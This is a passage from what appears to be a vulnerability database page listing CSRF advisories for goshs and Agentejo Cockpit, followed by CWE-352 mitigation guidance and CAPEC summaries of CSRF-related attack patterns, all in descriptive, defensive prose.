  "published": "2026-04-14T22:28:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickhener/goshs/security/advisories/GHSA-jrq5-hg6x-j6g3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40883"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickhener/goshs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "goshs has CSRF in state-changing GET routes enables authenticated file deletion and directory creation"
}

GHSA-JRRF-CWX7-W6GP

Vulnerability from github – Published: 2022-05-14 01:54 – Updated: 2022-05-14 01:54
VLAI
Details

Agentejo Cockpit lacks an anti-CSRF protection mechanism. Thus, an attacker is able to change API tokens, passwords, etc.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-15539"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-10-15T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "Agentejo Cockpit lacks an anti-CSRF protection mechanism. Thus, an attacker is able to change API tokens, passwords, etc.",
  "id": "GHSA-jrrf-cwx7-w6gp",
  "modified": "2022-05-14T01:54:36Z",
  "published": "2022-05-14T01:54:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15539"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2018/Oct/30"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
  • For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330]
  • Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
Mitigation
Implementation

Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.

Mitigation
Architecture and Design

Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]

Mitigation
Architecture and Design

Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.

Mitigation
Architecture and Design
  • Use the "double-submitted cookie" method as described by Felten and Zeller:
  • When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same.
  • Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult.
  • This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
Mitigation
Architecture and Design

Do not use the GET method for any request that triggers a state change.

Mitigation
Implementation

Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

CAPEC-111: JSON Hijacking (aka JavaScript Hijacking)

An attacker targets a system that uses JavaScript Object Notation (JSON) as a transport mechanism between the client and the server (common in Web 2.0 systems using AJAX) to steal possibly confidential information transmitted from the server back to the client inside the JSON object by taking advantage of the loophole in the browser's Same Origin Policy that does not prohibit JavaScript from one website to be included and executed in the context of another website.

CAPEC-462: Cross-Domain Search Timing

An attacker initiates cross domain HTTP / GET requests and times the server responses. The timing of these responses may leak important information on what is happening on the server. Browser's same origin policy prevents the attacker from directly reading the server responses (in the absence of any other weaknesses), but does not prevent the attacker from timing the responses to requests that the attacker issued cross domain.

CAPEC-467: Cross Site Identification

An attacker harvests identifying information about a victim via an active session that the victim's browser has with a social networking site. A victim may have the social networking site open in one tab or perhaps is simply using the "remember me" feature to keep their session with the social networking site active. An attacker induces a payload to execute in the victim's browser that transparently to the victim initiates a request to the social networking site (e.g., via available social network site APIs) to retrieve identifying information about a victim. While some of this information may be public, the attacker is able to harvest this information in context and may use it for further attacks on the user (e.g., spear phishing).

CAPEC-62: Cross Site Request Forgery

An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.